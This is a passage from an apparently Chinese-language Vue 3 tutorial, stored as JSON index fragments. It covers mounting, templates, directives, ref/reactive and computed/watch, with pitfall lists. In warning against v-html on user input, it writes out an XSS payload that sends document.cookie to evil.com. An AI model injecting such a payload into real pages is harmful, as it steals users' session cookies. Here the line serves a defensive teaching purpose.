模板字符串），因为它能直接在浏览器里跑起来；实际项目里写的是单文件组件（.vue），两者的对应关系在第十八章专门列了一张表。语法本身是同一套，只是挂载方式不同。",{"id":133838,"title":17625,"titles":133839,"content":133840,"level":341},"\u002Ftutorials\u002Fvue3#一vue-是什么从手动改-dom-到声明式渲染",[17599],"写页面时最累的不是画布局，而是「数据变了要记得改界面」。手动改 DOM 的写法，数据和界面是两份东西，改一处漏一处，界面就和真实状态对不上了。 Vue 解决的就是这件事：你只描述「界面在给定数据下应该长什么样」，数据一变，Vue 自己算出该改哪几个节点。响应式 + 模板这两件事合起来就是 Vue 的全部核心，后面的组件、路由、状态管理都是在此基础上做组织。 它自称「渐进式框架」，意思是你可以只借用其中一小块： 用法 引入方式 适合 在已有 HTML 里增强 一个 \u003Cscript> 标签引入全局构建，页面里直接写模板 后台管理页的某个表单、老项目加个交互组件 单文件组件（最常见） Vite + npm create vue@latest，代码写在 .vue 文件里 独立的前端项目 全栈框架 Nuxt（本项目的姊妹篇教程） 需要 SEO、首屏速度、服务端渲染的站点",{"id":133842,"title":17701,"titles":133843,"content":133844,"level":357},"\u002Ftutorials\u002Fvue3#第一个例子三种写法对照",[17599,17625],"浏览器里跑起来的最小写法，页面里先放一个容器，再挂一个应用： \u003Cdiv id=\"app\">{{ message }}\u003C\u002Fdiv>\n\n\u003Cscript src=\"https:\u002F\u002Funpkg.com\u002Fvue@3\u002Fdist\u002Fvue.global.js\">\u003C\u002Fscript>\n\u003Cscript>\n  Vue.createApp({\n    setup() {\n      const message = Vue.ref('你好，Vue')\n      return { message }\n    }\n  }).mount('#app')\n\u003C\u002Fscript> 同一个例子写成单文件组件（.vue），就是实际项目里的样子： \u003Cscript setup>\nimport { ref } from 'vue'\nconst message = ref('你好，Vue')\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cdiv>{{ message }}\u003C\u002Fdiv>\n\u003C\u002Ftemplate> 除了 import 和 \u003Ctemplate> 标签，逻辑完全一样：还是 ref、还是那个变量名。初学时网上会看到两种不同的代码风格，别慌，它们是同一个东西的两种外衣。",{"id":133846,"title":17940,"titles":133847,"content":133848,"level":357},"\u002Ftutorials\u002Fvue3#组合式-api-与选项式-api",[17599,17625],"Vue 2 时代只有「选项式」：把代码按 data \u002F methods \u002F computed \u002F mounted 这些选项塞进一个大对象。Vue 3 新增了「组合式」（Composition API）：在 setup()（或 \u003Cscript setup>）里按功能组织代码，一个功能的响应式数据、计算属性、副作用写在一起。 \u002F\u002F 选项式：同一个功能的代码被拆到三个选项里\nexport default {\n  data() { return { count: 0 } },\n  computed: { double() { return this.count * 2 } },\n  mounted() { console.log(this.count) }\n}\n\n\u002F\u002F 组合式：一个功能从头到尾连着写\nimport { ref, computed, onMounted } from 'vue'\nconst count = ref(0)\nconst double = computed(() => count.value * 2)\nonMounted(() => console.log(count.value)) 本教程以组合式为主线（新项目、Nuxt、官方文档示例都是它），每章末尾会给出选项式的对应写法，读懂老代码也够用。两者可以混用，但一个组件里最好只用一种。",{"id":133850,"title":36414,"titles":133851,"content":133852,"level":357},"\u002Ftutorials\u002Fvue3#挂载createapp-与-mount-的关系",[17599,17625],"const app = Vue.createApp(RootComponent)   \u002F\u002F 创建应用实例，此时什么都还没渲染\napp.component('MyBadge', MyBadge)          \u002F\u002F 全局注册组件\napp.directive('focus', { mounted: (el) => el.focus() })\napp.config.errorHandler = (err) => console.error(err)\napp.mount('#app')                          \u002F\u002F 到这里才真的往 DOM 里画\napp.unmount()                              \u002F\u002F 卸载（对应 DOM 被清空） 三个容易忽略的点：mount 之前页面里的 {{ message }} 是原样显示的（模板还没被编译）；一个页面可以有多个互不相干的 createApp 实例；app.component 之类的注册必须在 mount 之前完成。 示例 01 左右两栏是同一个计数：左边点「+1（忘了同步）」，数据变了界面不动——这就是没有框架时的日常；右边只改数据，界面里的数字和那句 v-if 的话自己冒出来。",{"id":133854,"title":4796,"titles":133855,"content":133856,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑",[17599,17625],"1. 挂载目标必须先存在于 DOM。 mount('#app') 时页面里没有 id=\"app\"，Vue 直接报 Failed to mount app: mount target not found。脚本放在 \u003Chead> 里、或者放在容器元素之前，都会撞上。把脚本放在 \u003C\u002Fbody> 前，或给 \u003Cscript> 加 defer。 2. 浏览器里写 in-DOM 模板，标签名和属性名会被转成小写。 \u003CUserCard userName=\"a\"> 在 HTML 里会被解析成 usercard + username，组件找不到、props 收不到。浏览器里请写 kebab-case：\u003Cuser-card user-name=\"a\">；.vue 文件里没这个限制（这也是示例用模板字符串的原因）。 3. {{ }} 会先在页面上闪一下。 因为 HTML 已经渲染、Vue 还没挂载。用 v-cloak + [v-cloak]{display:none}，或者把脚本放前面。 4. 引入 vue.global.js（开发版）和 vue.global.prod.js（生产版）差别很大。 类型警告、性能提示只有开发版会打印；生产版为了体积把这些都剥掉了。学习阶段一律用开发版，别把「没报错」当成「没写错」。 5. 多个 createApp 之间不共享注册。 在 app1 上 component() 注册过的组件，app2 里用不了，会报 Unknown custom element。需要共享就用插件（app.use()）或干脆只有一个根应用。 6. setup() 里不能用 this。 组合式在 this 绑定之前执行；\u003Cscript setup> 更是根本没有 this。要从选项式转过来，把 this.xxx 全换成局部变量。",{"id":133858,"title":18440,"titles":133859,"content":133860,"level":357},"\u002Ftutorials\u002Fvue3#附两套-api-风格对照速查",[17599,17625],"要做的事 组合式（本教程用法） 选项式（老代码里常见） 声明响应式数据 const n = ref(0) data() { return { n: 0 } } 计算属性 const d = computed(() => n.value * 2) computed: { d() { return this.n * 2 } } 监听 watch(n, cb) watch: { n: cb } 挂载后执行 onMounted(cb) mounted() {} 卸载前清理 onBeforeUnmount(cb) beforeUnmount() {} 方法 普通函数 function add() {} methods: { add() {} } 注册组件 import X from '.\u002FX.vue'（\u003Cscript setup> 自动可用） components: { X }",{"id":133862,"title":18568,"titles":133863,"content":133864,"level":341},"\u002Ftutorials\u002Fvue3#二模板语法插值动态属性与表达式的边界",[17599],"模板 = HTML + 两样东西：{{ }} 插值 和 v-xxx 指令。它不是「在 HTML 里写 JS」，能放的位置和能写的表达式都有边界，越界要么编译失败，要么行为和你预期相反。",{"id":133866,"title":36420,"titles":133867,"content":133868,"level":357},"\u002Ftutorials\u002Fvue3#插值-是转义的v-html-不是",[17599,18568],"\u003Ctemplate>\n  \u003Cp>{{ msg }}\u003C\u002Fp>                          \u003C!-- 内容是字符串就原样显示，HTML 标签被转义 -->\n  \u003Cp v-html=\"msg\">\u003C\u002Fp>                      \u003C!-- 内容被当成 HTML 解析 -->\n  \u003Cp>{{ count + 1 }}\u003C\u002Fp>                    \u003C!-- 表达式 -->\n  \u003Cp>{{ ok ? '可用' : '禁用' }}\u003C\u002Fp>          \u003C!-- 三元 -->\n  \u003Cp>{{ list.length }}\u003C\u002Fp>                   \u003C!-- 属性访问 -->\n  \u003Cp>{{ msg.split('').reverse().join('') }}\u003C\u002Fp>  \u003C!-- 方法调用链 -->\n\u003C\u002Ftemplate> 一条铁律：v-html 永远不要用在用户输入上。它不做转义，用户贴一段 \u003Cimg src=x onerror=\"fetch('\u002F\u002Fevil.com?c='+document.cookie)\"> 就在你的页面里执行了（XSS）。要做富文本渲染，先把内容净化（DOMPurify 一类），或者只显示纯文本。",{"id":133870,"title":36422,"titles":133871,"content":133872,"level":357},"\u002Ftutorials\u002Fvue3#动态属性v-bind-与它的缩写",[17599,18568],"给属性绑定值必须加 v-bind，否则拿到的是字符串字面量： \u003Ca :href=\"url\">链接\u003C\u002Fa>          \u003C!-- url 变量的值 -->\n\u003Ca href=\"url\">链接\u003C\u002Fa>           \u003C!-- 字符串 \"url\"，十有八九是 bug -->\n\u003Cimg :src=\"src\" :alt=\"alt\">\n\u003Cinput :value=\"text\" :disabled=\"isLoading\">\n\u003Cdiv :id=\"domId\" :data-index=\"i\"> 三个细节值得记住： 布尔属性用 :disabled=\"false\" 才会真的移除该属性；写 disabled=\"false\" 反而等于启用（HTML 里有这个属性就是真）。 动态属性名用方括号：:[attrName]=\"value\"，attrName 里放变量。 一次性绑多个属性：v-bind=\"{ a: 1, b: 2 }\" 或直接 v-bind=\"obj\"，组件里常用于把 $attrs 透传下去。",{"id":133874,"title":18903,"titles":133875,"content":133876,"level":357},"\u002Ftutorials\u002Fvue3#能写表达式不能写语句",[17599,18568],"{{ }} 和指令的值位置只接受表达式（能算出一个值的东西）。if、for、while、var\u002Flet 声明、多条语句用分号串起来，这些都不行： \u003Cp>{{ if (a) { 'x' } }}\u003C\u002Fp>       ✗ 语句，编译报错\n\u003Cp>{{ a > 1 ? 'x' : 'y' }}\u003C\u002Fp>    ✓ 三元表达式\n\u003Cp>{{ list.filter(x => x.ok) }}\u003C\u002Fp>   ✓ 但要短，长了就挪进 computed 判断标准很简单：写两行以上逻辑、或者要用到别的响应式变量的中间结果，就别塞在模板里，挪去 computed（第五章）。模板里堆长表达式，日后没人愿意读，也无法单测。",{"id":133878,"title":18987,"titles":133879,"content":133880,"level":357},"\u002Ftutorials\u002Fvue3#表达式里能直接用什么",[17599,18568],"模板表达式在一个受限的沙箱里执行。可以直接用的有：组件自身 setup 返回的变量、Math、Date、JSON、parseInt、parseFloat 等一小撮全局白名单，以及全局属性（app.config.globalProperties）。 不能直接用的：import、require、process、localStorage、你自己的工具函数。想用工具函数有两种路子——import 进来再 return（或 \u003Cscript setup> 里直接 import 就可用），或者封装成全局属性\u002F组合式函数。 \u003Cscript setup>\nimport { formatDate } from '@\u002Futils\u002Fdate'   \u002F\u002F \u003Cscript setup> 里 import 完模板就能用\n\u003C\u002Fscript>\n\u003Ctemplate>\n  \u003Cspan>{{ formatDate(created) }}\u003C\u002Fspan>\n\u003C\u002Ftemplate> Vue 2 的过滤器语法 {{ price | currency }} 在 Vue 3 里已删除，替代品就是 computed 或方法调用。接手老代码时全局搜 | 插值是最快的一刀。",{"id":133882,"title":4796,"titles":133883,"content":133884,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-1",[17599,18568],"1. {{ }} 里写了语句，整个组件白屏。 模板编译错误在开发版是醒目的报错，生产版可能只剩一句 Property or method ... is not defined。别靠猜，看到空白先去控制台第一行找 error compiling template。 2. 属性大小写。 :userName 在浏览器 in-DOM 模板里变成 :username，props 收不到值。模板里请统一 kebab-case。 3. 自闭合标签只在 .vue 里合法。 \u003Cuser-card \u002F> 在浏览器解析的 HTML 里会被当成「开始标签没结束」，把后面的内容全吞进它的插槽。页面里写模板时老实补上 \u003C\u002Fuser-card>。 4. v-html 里不能用插值。 内容被当作 HTML 片段处理，{{ }} 不再解析——很多人在这卡半小时。要混用就拆开写：\u003Cp>前缀 \u003Cspan v-html=\"html\">\u003C\u002Fspan>\u003C\u002Fp>。 5. :src=\"null\" 不等于「不显示」。 属性值为 null\u002Fundefined 时会被移除，但 '' 会保留成 src=\"\"，浏览器会按当前页面 URL 请求一次图片，控制台出现诡异的 404。要么 v-if 控制渲染，要么给一个真实占位图。 6. 数字字符串的坑。 :count=\"1\" 传的是数字，count=\"1\" 传的是字符串 \"1\"。组件里做 props.count > 1 时后者会意外成立\u002F失败，靠 props 类型校验（第九章）把这类问题挡在开发版。 7. 自定义插号分隔符在 Vue 3 被移除。 老代码里的 delimiters: ['${', '}']（为了兼容后端模板）在 Vue 3 不存在了，改用 v-text 或者转义后端标签。",{"id":133886,"title":19242,"titles":133887,"content":133888,"level":357},"\u002Ftutorials\u002Fvue3#附模板语法速查",[17599,18568],"想做的事 写法 备注 输出文本 {{ msg }} 自动转义，安全 输出 HTML v-html=\"msg\" 有 XSS 风险，别用于用户输入 绑定属性 :href=\"url\" v-bind: 的缩写 动态属性名 :[name]=\"value\" 方括号里是变量 一次绑多属性 v-bind=\"obj\" 常配 $attrs 布尔属性 :disabled=\"isOff\" 值为假时移除属性 条件渲染 v-if \u002F v-else-if \u002F v-else 假时节点不存在 切换显示 v-show 节点在，只是 display:none 列表 v-for=\"item in list\" :key=\"item.id\" key 必填（第十一章） 事件 @click=\"doIt\" v-on: 的缩写 表单双向 v-model=\"text\" 第六章 插槽 \u003Cslot> \u002F #name \u002F v-slot 第十章 只渲染一次 v-once 静态内容提速 跳过编译 v-pre 展示模板代码时必用 挂载前隐藏 v-cloak 配合 CSS 防闪烁",{"id":133890,"title":19475,"titles":133891,"content":133892,"level":341},"\u002Ftutorials\u002Fvue3#三指令条件循环事件与动态参数",[17599],"指令就是模板里的「特殊属性」，以 v- 开头，告诉 Vue「对这个元素做点什么」。统一结构： v-name:argument.modifier1.modifier2=\"expression\"\n│    │        │                    │\n指令 参数      修饰符                表达式（不能是语句） 看三个例子就能对上号：v-on:click.stop=\"close\"（事件指令 + 参数 click + 修饰符 stop）、v-bind:href=\"url\"（属性绑定）、v-slot:header（插槽具名）。v-on: 和 v-bind: 用得最多，所以有缩写 @click 和 :href；v-slot: 的缩写是 #header。",{"id":133894,"title":36430,"titles":133895,"content":133896,"level":357},"\u002Ftutorials\u002Fvue3#条件v-if-与-v-show-选哪个",[17599,19475],"v-if v-show 假的时元素 不在 DOM 里 在 DOM 里，style=\"display:none\" 切换开销 销毁\u002F重建，有子组件生命周期 只改一个 CSS 属性 初始开销 假时完全不渲染，几乎为零 一样要渲染 支持 \u003Ctemplate> 分组 支持 不支持（需要真实元素） 适合 很少切换、初始就该省掉 频繁切换（tab 面板、下拉展开） v-else \u002F v-else-if 必须紧跟在上一个 v-if 元素之后（中间只能有空格和 HTML 注释），否则 Vue 找不到配对、直接报错。",{"id":133898,"title":19642,"titles":133899,"content":133900,"level":357},"\u002Ftutorials\u002Fvue3#循环事件绑定一次看全",[17599,19475],"\u003Ctemplate>\n  \u003Cli v-for=\"(user, i) in users\" :key=\"user.id\">{{ i + 1 }}. {{ user.name }}\u003C\u002Fli>\n\n  \u003Cbutton @click=\"count++\">计数 {{ count }}\u003C\u002Fbutton>\n  \u003Cform @submit.prevent=\"onSubmit\">          \u003C!-- .prevent 拦住默认提交 -->\n    \u003Cinput v-model=\"q\" @keyup.enter=\"search\">  \u003C!-- 按键修饰符 -->\n  \u003C\u002Fform>\n\n  \u003Cdiv :class=\"{ panel: true, active: isOpen }\" :style=\"{ height: h + 'px' }\">\n    \u003Cp v-show=\"isOpen\">内容\u003C\u002Fp>\n    \u003Cp v-text=\"msg\">\u003C\u002Fp>                     \u003C!-- 等价于 {{ msg }}，但会被 innerText 覆盖 -->\n    \u003Cp v-pre>这里的 {{ code }} 原样显示\u003C\u002Fp>   \u003C!-- 展示模板代码专用 -->\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate> 内置指令一共十几个，完整清单在本章末尾的速查表里。这里只强调三个不常被注意的： v-cloak：配合 [v-cloak]{display:none} 解决挂载前的 {{ }} 闪烁。 v-once：元素渲染一次后不再更新，用于纯静态内容（省下一遍 diff）。 v-memo：v-memo=\"[依赖项]\"，依赖不变时跳过整棵子树更新，是长列表的兜底加速手段（第十一章有场景）。",{"id":133902,"title":19902,"titles":133903,"content":133904,"level":357},"\u002Ftutorials\u002Fvue3#自定义指令给元素挂点行为",[17599,19475],"组件解决「一块界面」，指令解决「某个元素上的 DOM 行为」（聚焦、拖拽、埋点、水波纹）。 \u002F\u002F 全局注册\napp.directive('focus', {\n  mounted(el) { el.focus() }\n})\n\n\u002F\u002F 组件内局部注册（组合式里用 vFocus，模板里仍写 v-focus）\nconst vFocus = { mounted: (el) => el.focus() } \u003Cinput v-focus>\n\u003Cdiv v-track:click=\"'首页按钮'\">带参数和修饰符也行\u003C\u002Fdiv> 钩子按用途挑：只在挂载时干一次用 mounted；每次更新都要同步 DOM 用 updated；需要区分「值变了」和「组件重渲染」用带 oldValue 的 beforeUpdate\u002Fupdated；卸载清理用 unmounted。指令里不要写业务逻辑、不要去改响应式数据——它只负责「对这个 DOM 元素做操作」。 示例 03 里可以直接数 DOM 节点：v-if 关掉时元素真的没了，v-show 关掉时它只是被 display:none 藏起来；第三块能看到冒泡链路（不加 .stop 会先 inner 后 outer）。",{"id":133906,"title":4796,"titles":133907,"content":133908,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-2",[17599,19475],"1. 指令的值必须是表达式，且不能声明变量。 v-if=\"const a = 1\"、v-for=\"let x of list\" 都编译失败。想要中间变量就用 computed。 2. v-if 和 v-for 写在同一个元素上。 Vue 3 里 v-if 优先级更高，它会先执行——此时 v-for 的 item 还不存在，报 item is not defined。解法三条（第十一章细讲）：把 v-if 挪到外层 \u003Ctemplate>、用 computed 先过滤、或把循环体拆成子组件。这是 Vue2 升级到 Vue3 最常见的报错来源之一。 3. v-show 不能用在 \u003Ctemplate> 或组件上。 它需要一个能改 style 的真实元素；组件是多根时也没地方落。 4. 自定义指令加在组件上时，只有单根组件生效。 它拿不到组件内部元素，会尝试落到根元素；多根（fragment）时直接警告并失效。 5. 动态参数里别放空格、大写或复杂表达式。 :[name] 里的 name 求值结果若是 undefined，整个绑定属性会被移除（有时是你想要的，有时是漏配的 bug）。浏览器 in-DOM 模板里动态参数还会遇到大小写转换问题。 6. 修饰符顺序有意义。 @click.stop.prevent 与 @click.prevent.stop 都能工作，但 @click.self.stop 里 .self 会先做判断，后面的处理函数可能根本不执行。想搞清先后就照官方文档顺序读，别猜。 7. 拼错指令名不会报错，只会「什么都没发生」。 v-onClck、v-modle 这类拼写错误 Vue 不会拦（开发版有 v-modle 的提示，但不覆盖全部），排查时先 grep 一遍 v- 开头的属性名。",{"id":133910,"title":20194,"titles":133911,"content":133912,"level":357},"\u002Ftutorials\u002Fvue3#附内置指令速查表",[17599,19475],"指令 作用 典型写法 v-text \u002F v-html 设置 textContent \u002F innerHTML v-text=\"msg\" v-show 切换 display v-show=\"isOpen\" v-if \u002F v-else-if \u002F v-else 条件渲染（增删节点） v-else-if=\"n > 3\" v-for 列表\u002F对象\u002F数字\u002F字符串遍历 v-for=\"(v, k) in obj\" :key=\"k\" v-on (@) 监听事件，支持修饰符 @keyup.esc=\"close\" v-bind (:) 绑定属性\u002Fprops\u002F样式\u002Fclass :class=\"clsObj\" v-model 表单\u002F组件双向绑定 v-model.trim=\"q\" v-slot (#) 插槽 #header=\"{ title }\" v-pre 跳过该元素及其子树的编译 展示模板代码 v-cloak 挂载完成前保留该属性 配合 CSS 防闪烁 v-once 只渲染一次 纯静态块 v-memo 依赖不变时跳过子树更新 v-memo=\"[row.id]\" 事件修饰符 等价于 .stop event.stopPropagation() .prevent event.preventDefault() .capture 用捕获阶段监听 .self 只有 event.target 是自己时才触发 .once 只触发一次 .passive { passive: true }，滚动不阻塞（不能同时 .prevent） .keyup.enter \u002F .esc \u002F .tab \u002F .space \u002F .up … 按键名\u002F系统别名 .left \u002F .right \u002F .middle 鼠标按键",{"id":133914,"title":20516,"titles":133915,"content":133916,"level":341},"\u002Ftutorials\u002Fvue3#四ref-与-reactive响应式对象的入口",[17599],"响应式的原理值得知道一句：Vue 3 用 Proxy 代理对象，「读」的时候记录谁在用这个属性，「写」的时候通知这些使用者重新渲染。这条机制决定了两件事——基本类型没法被代理（所以要有 ref），以及代理对象一旦被替换或解构，链路就断了（所以有那一堆坑）。",{"id":133918,"title":20538,"titles":133919,"content":133920,"level":357},"\u002Ftutorials\u002Fvue3#ref一切的入口",[17599,20516],"\u003Cscript setup>\nimport { ref } from 'vue'\nconst count = ref(0)              \u002F\u002F 返回 { value: 0 } 这样的「引用对象」\nconst user = ref({ name: '阿蓝' }) \u002F\u002F 也能装对象\u002F数组\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>{{ count }}\u003C\u002Fp>              \u003C!-- 模板里自动解包，不用写 .value -->\n  \u003Cbutton @click=\"count++\">+1\u003C\u002Fbutton>   \u003C!-- 模板里也能直接用（编译器加了 .value） -->\n\u003C\u002Ftemplate> 规则只有两条，但必须刻进肌肉记忆： 在 JS 里读写 ref 必须带 .value。 count++ 不会报错（把一个对象当数字加），而是安静地变成 NaN——示例 04 现场演示了这个瞬间。 在模板里不需要 .value（顶层 ref 自动解包）。例外：ref 藏在普通对象里时不解包，{{ obj.count.value }} 得写全。 const state = { count: ref(0) }   \u002F\u002F ✗ 普通对象里的 ref 模板里要写 .value\nconst state = reactive({ count: ref(0) })  \u002F\u002F ✓ reactive 对象内部的 ref 自动解包",{"id":133922,"title":20763,"titles":133923,"content":133924,"level":357},"\u002Ftutorials\u002Fvue3#reactive对象专用但有三个限制",[17599,20516],"const form = reactive({ name: '', tags: [], meta: { ver: 1 } })\nform.name = '小青'          \u002F\u002F 不用 .value，直接改\nform.tags.push('新')        \u002F\u002F 数组的 push\u002Fsplice\u002F索引赋值都能被捕获 reactive 的三条边界，第一条就淘汰掉了大部分「到处 reactive」的写法： 限制一：解构即失效。 const { name } = form 拿到的是普通字符串，之后 form.name = 'x' 它不会变。补救是 toRefs(form)（解构出来的每个字段仍是 ref）。 限制二：整体替换会断链。 form = reactive({ ... }) 把模板绑定的那个代理对象换掉了，界面停在旧值。要清空请写 Object.assign(form, newData)，或者干脆用 ref 装整个对象（ref 允许重新赋值 .value）。 限制三：不能包装基本类型。 reactive(0)、reactive('a') 直接报错——这正是 ref 存在的理由。 实际项目的选择建议：默认全用 ref，需要一组高度内聚、整体传递的对象数据时再用 reactive。理由：ref 的规则统一（永远 .value），不会出现「解构后悄悄失效」这类难查的 bug，也便于 TS 推断。",{"id":133926,"title":36440,"titles":133927,"content":133928,"level":357},"\u002Ftutorials\u002Fvue3#局部跳过响应式shallowrefshallowreactivemarkrawtoraw",[17599,20516],"大对象（ECharts 实例、地图数据、上千行的原始列表）全量代理既慢又没必要： const chart = shallowRef(null)       \u002F\u002F 只有 .value 被替换时才触发更新\nchart.value = newChart\ntriggerRef(chart)                     \u002F\u002F 换了内部属性但想强制刷新时手动触发\n\nconst raw = markRaw(hugeConfig)       \u002F\u002F 永久标记为「不代理」，放进 reactive 也不转\nconst plain = toRaw(state)            \u002F\u002F 拿回 reactive 背后的原始对象（做深拷贝\u002F存库时用）\nconst clone = JSON.parse(JSON.stringify(toRaw(state)))  \u002F\u002F 存 sessionStorage 的正路 数组列表性能场景还有个专门写法：shallowRef + 整体替换新数组（list.value = newList），比 ref 深代理省一大截开销。 示例 04 的四块面板分别演示：忘写 .value 的 NaN 现场、reactive 解构后失效与 toRefs 修复、reactive 整体替换后界面不动，以及 ref 装数组时 push 为什么能更新界面。",{"id":133930,"title":4796,"titles":133931,"content":133932,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-3",[17599,20516],"1. 解构 reactive 对象就丢响应性（最常见、最难查）。const { count } = state 之后改 state.count，界面不动也不报错。用 toRefs，或者从一开始就用 ref 存单个值。 2. props 的解构同理。 const { title } = defineProps([...]) 在 3.5 之前是「断掉响应」的写法；现在编译器会给出警告（Vue 3.5 props 解构是响应式安全的 属于新特性，老项目里务必确认版本）。拿不准就老实写 props.title。 3. 把 reactive 对象直接传给函数后重新赋值，外面看不到。 function reset(s) { s = {} } 只是改了局部变量。断链问题在传参、Object.assign 目标搞错时反复出现。 4. watch 一个 reactive 对象默认是深监听。 对象一大、嵌套一深，每次改动都全量遍历（第五章给省法）。 5. 存到 sessionStorage \u002F 发给后端之前要 toRaw + 深拷贝。 JSON.stringify(reactive对象) 能工作，但里面若混了 ref 会多出 {\"value\": ...} 这种结构，接口对不上。 6. 模板里给 ref 赋的是 .value 的语义，写错类型会静默失败。 list.push(x) 对 ref([]) 是错的（list 是引用对象不是数组），要 list.value.push(x)。这类错误 Vue 不报，只在运行时炸出 push is not a function。 7. 别在循环里动态创建 ref。 for (const k of keys) refs[k] = ref(0) 这种写法本身合法，但随后放进 reactive 里再解构就会让你分不清手上拿的是 ref 还是值。列表状态请用一个 ref(数组)，索引即位置（第十一章会讲为什么不能用 index 当 key）。",{"id":133934,"title":21212,"titles":133935,"content":133936,"level":357},"\u002Ftutorials\u002Fvue3#附响应式-api-速查",[17599,20516],"API 用来装 解构安全 整体替换 典型场景 ref(v) 任意值（含基本类型） — ✓（改 .value） 默认选择 reactive(o) 对象\u002F数组 ✗ 解构失效 ✗ 断链 一组内聚的表单字段 shallowRef(v) 大对象\u002F实例 — ✓ ECharts、地图、大列表 shallowReactive(o) 对象（只代理第一层） 部分 ✗ 表格行数据 toRef(o, 'k') 从 reactive 里取一个字段 ✓ — props 转发、组合式入参 toRefs(o) 整个 reactive 展开成 ref 集 ✓ — 组合式函数返回多个状态 markRaw(v) 标记永不代理 — — 第三方实例 toRaw(v) 取回原始对象 — — 深拷贝、序列化 triggerRef(r) 手动触发 shallowRef 更新 — — 深层修改后强制刷新 unref(v) \u002F isRef(v) 取值 \u002F 判断 — — 写通用工具函数",{"id":133938,"title":21418,"titles":133939,"content":133940,"level":341},"\u002Ftutorials\u002Fvue3#五computed-与-watch派生值要缓存副作用要侦听",[17599],"一句话选型：「界面要显示的一个值」用 computed，「数据变了之后要去干一件事」用 watch。 干的事指的是请求、埋点、操作 DOM、写 localStorage——这些不该出现在 computed 里。",{"id":133942,"title":21437,"titles":133943,"content":133944,"level":357},"\u002Ftutorials\u002Fvue3#computed会缓存的派生值",[17599,21418],"\u003Cscript setup>\nimport { ref, computed } from 'vue'\nconst list = ref([{ name: 'a', price: 10 }, { name: 'b', price: 20 }])\nconst keyword = ref('')\n\nconst total = computed(() => list.value.reduce((s, x) => s + x.price, 0))\nconst filtered = computed(() =>\n  list.value.filter(x => x.name.includes(keyword.value))\n)\n\u003C\u002Fscript> computed 与「直接在模板里调方法」的区别是缓存：依赖不变时读多少次都返回同一个结果，不会重新执行函数；方法调用则是每次渲染都跑一遍。示例 05 里有个计数器，连点「与计算无关」的按钮你能直观看到：方法版本调用次数一路上涨，computed 版本纹丝不动。 列表过滤、汇总、格式化这三类需求，几乎都该落在 computed 上（而不是 watch 里手动重算一份数据存起来——那会造出「两份数据要对齐」的新问题）。",{"id":133946,"title":21639,"titles":133947,"content":133948,"level":357},"\u002Ftutorials\u002Fvue3#可写-computed",[17599,21418],"const celsius = ref(25)\nconst fahrenheit = computed({\n  get: () => celsius.value * 9 \u002F 5 + 32,\n  set: (v) => { celsius.value = (v - 32) * 5 \u002F 9 }\n}) 给 v-model 指向一个「看起来是独立字段、其实是别的字段的换算」的场景非常顺手（示例 05 里两个输入框互相同步就是这个写法）。",{"id":133950,"title":21755,"titles":133951,"content":133952,"level":357},"\u002Ftutorials\u002Fvue3#watch知道旧值才能做增量",[17599,21418],"\u002F\u002F ① 监听单个 ref\nwatch(keyword, (newV, oldV) => { log(`关键词 ${oldV} → ${newV}`) })\n\n\u002F\u002F ② 监听 reactive 的某个字段：必须写成 getter\nconst state = reactive({ count: 0 })\nwatch(() => state.count, (v) => { \u002F* ... *\u002F })\n\n\u002F\u002F ③ 监听多个来源\nwatch([a, b], ([av, bv]) => { \u002F* ... *\u002F })\n\n\u002F\u002F ④ 需要「深层」变化时显式开启\nwatch(() => state.list, (v) => { \u002F* ... *\u002F }, { deep: true })\n\n\u002F\u002F ⑤ 立即执行一次（否则第一次不触发）\nwatch(keyword, cb, { immediate: true })\n\n\u002F\u002F ⑥ 拿到 stop 函数手动停止（组件外创建的 watch 一定要停）\nconst stop = watch(source, cb)\n\u002F\u002F ... 不需要时\nstop() watch 的选项一共四个常用的：immediate（立即跑一次）、deep（深层遍历）、flush（'pre' 默认，DOM 更新前；'post' 更新后，需要读 DOM 时用它；'sync' 同步执行，几乎不用来避免性能问题）、以及第三个参数返回值 onCleanup（见下）。",{"id":133954,"title":22016,"titles":133955,"content":133956,"level":357},"\u002Ftutorials\u002Fvue3#watcheffect自动追踪配合-oncleanup-做防抖",[17599,21418],"const query = ref('')\nwatchEffect((onCleanup) => {\n  const timer = setTimeout(() => search(query.value), 300)\n  onCleanup(() => clearTimeout(timer))   \u002F\u002F 下次执行前 \u002F 停止时自动调用\n}) watchEffect 不需要声明监听谁，函数里读到的响应式都被记录。代价是可读性：依赖是隐式的，别人（和三个月后的你）看不出这段代码会在什么时机跑。项目里的实践约定是：只在「依赖多、且就是要跟着全部依赖走」时用，通常配合 onCleanup 处理订阅\u002F定时器\u002F请求取消。 示例 05 的第三块给出了一张「哪种改动触发了哪几个 watch」的矩阵——这一节的坑基本都在这张表里。",{"id":133958,"title":4796,"titles":133959,"content":133960,"level":357},"\u002Ftutorials\u002Fvue3#️-本章的坑-4",[17599,21418],"1. computed 里写副作用。 在 getter 里 emit、发请求、改别的 ref，会形成「渲染 → 改数据 → 再渲染」的循环，开发版报 Maximum recursive updates exceeded。派生就纯派生。 2. computed 里访问了「还没声明」的响应式变量。 const a = computed(() => b.value) 写在 const b = ref(0) 之前，首次求值时 b 是 undefined（TDZ 或直接报错）。顺序摆正，或者把 computed 放到依赖之后。 3. 监听 reactive 对象不写 getter，又忘了它是深监听。 watch(state, cb)（state 是 reactive）默认 deep: true，对象一大每次改动都全量遍历；而且由于引用没变，newV 和 oldV 是同一个对象，拿不到「旧值」。只关心某个字段就写 () => state.count。 4. 监听一个「对象引用」而不是内容。 watch(() => obj.data, cb)，你在 cb 里改 obj.data 的字段而不是替换整个对象，就不会再触发。要么 deep，要么换成监听 () => obj.data.length 这类标量。 5. 忘停的 watch 是内存泄漏。 在组合式函数、插件、watch 于 setTimeout 回调里创建等「脱离组件实例」的场景创建的 watch，不会被自动回收。拿到返回的 stop 并在 onBeforeUnmount 里调用。 6. immediate: true 首次回调时依赖可能是空。 典型的翻车是首次就发请求，参数还是 undefined。要么先判空，要么把「初始化」单独写。 7. 异步 watch 的竞态。 watch(id, async () => { data.value = await fetchDetail(id.value) })：快速切换 id 时，先发的慢请求可能后返回，覆盖掉新数据。解法是本地一个「请求序号\u002F最新 id」对比，或者用 onCleanup + AbortController 取消上一次请求。 8. flush: 'post' 才是读 DOM 的时机。 想在数据变化后读更新后的 